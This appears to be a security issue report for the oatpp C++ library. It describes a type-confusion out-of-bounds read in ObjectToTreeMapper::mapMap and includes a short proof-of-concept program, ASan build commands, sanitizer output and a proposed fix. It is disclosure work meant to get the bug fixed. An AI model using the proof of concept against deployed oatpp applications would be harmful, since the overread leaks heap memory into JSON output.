#1098·oatpp

OOB read in 'ObjectToTreeMapper::mapMap'

Author: 2rr0r4o3Created Aug 24, 2026Updated Aug 24, 2026

Summary

Container serialization is delegated entirely to the PolymorphicDispatcher named by the value's type tag. mapMap takes a map dispatcher and walks its iterator, reading iterator->first and iterator->second, which assumes a std::pair layout. When the tag says map but the object is a std::vector, each element is read as a pair and the read runs past the element.

Details

ObjectToTreeMapper::mapMap (src/oatpp/data/mapping/ObjectToTreeMapper.cpp:194) obtains an iterator from the dispatcher and reads through it. The map iterator is Map.hpp:150-160:

152      type::Void getKey() override {
153        return iterator->first;
154      }
...
157      type::Void getValue() override {
158        return iterator->second;
159      }

iterator->first and ->second require the element to be a std::pair. Nothing verifies that. Collection.hpp:168,173,179 has the same shape for sequence containers:

168        ContainerType* collection = static_cast<ContainerType*>(object.get());

ContainerType comes from the dispatcher, which came from the tag; object.get() is a void*. The cast is unchecked by construction.

std::unordered_map<String, String> and std::vector<String> differ in both element layout and container layout, so reading one as the other lands wherever the map iterator's arithmetic points. In the run below the fault is an 8-byte read one byte past a 17-byte allocation. std::string element of the vector, read as if it were the key half of a pair.

The tag/pointee mismatch that gets you here can be produced by ObjectWrapper::cast because of the Void escape at Type.hpp:560, which skips the type check whenever either side is __class::Void. The dispatcher itself being an unchecked void* is the deeper cause.

Fix: check the dispatcher's owning ClassId against the value's tag on entry to mapMap and mapCollection. Binding the dispatcher to its ClassId at the Type level fixes this and the mapObject case together.

PoC

poc_ObjectToTreeMapper_mapMap.cpp:

cpp
// A oatpp Vector payload, 24-byte std::vector in its own heap block.
auto vec = std::make_shared<std::vector<oatpp::String>>();
vec->push_back(oatpp::String("hello"));
oatpp::Void erased(std::static_pointer_cast<void>(vec));   // Type.hpp:286 -> tag = __class::Void

// Type.hpp:560 - source tag is Void, so the type check is skipped entirely.
auto confused = erased.cast<oatpp::UnorderedFields<oatpp::String>>();

// mapMap picks StandardMap<std::unordered_map<String,String>,...> and walks the vector with it.
oatpp::json::ObjectMapper mapper;
auto out = mapper.writeToString(confused);

Build and run:

bash
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
  -fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
  poc_ObjectToTreeMapper_mapMap.cpp liboatpp.a -lpthread -o poc_ObjectToTreeMapper_mapMap
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0 ./poc_ObjectToTreeMapper_mapMap

ASAN output:

==...==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bd2ea5e00b0 ...
READ of size 8 at 0x7bd2ea5e00b0 thread T0
    [...]
    #3 in oatpp::data::type::ObjectWrapper<std::__cxx11::basic_string<...>, __class::String>::getPtr()
    #4 in oatpp::data::type::Void::Void<std::__cxx11::basic_string<...>>(...)
    #5 in oatpp::data::type::__class::StandardMap<std::unordered_map<String, String>, ...>::...
    #6 in oatpp::data::mapping::ObjectToTreeMapper::mapMap(...)   src/oatpp/data/mapping/ObjectToTreeMapper.cpp
    #7 in oatpp::data::mapping::ObjectToTreeMapper::map(...)      src/oatpp/data/mapping/ObjectToTreeMapper.cpp
0x7bd2ea5e00b0 is located 0 bytes after 17-byte region

Impact

OOB read, and because the bytes become the serialized key and value they are disclosed in the JSON output. The displacement follows from the layout difference between the two containers rather than from anything the caller picks.

Reachability is application level:

  • producing the mismatched tag requires a cast<>() through the Void escape or an equivalent.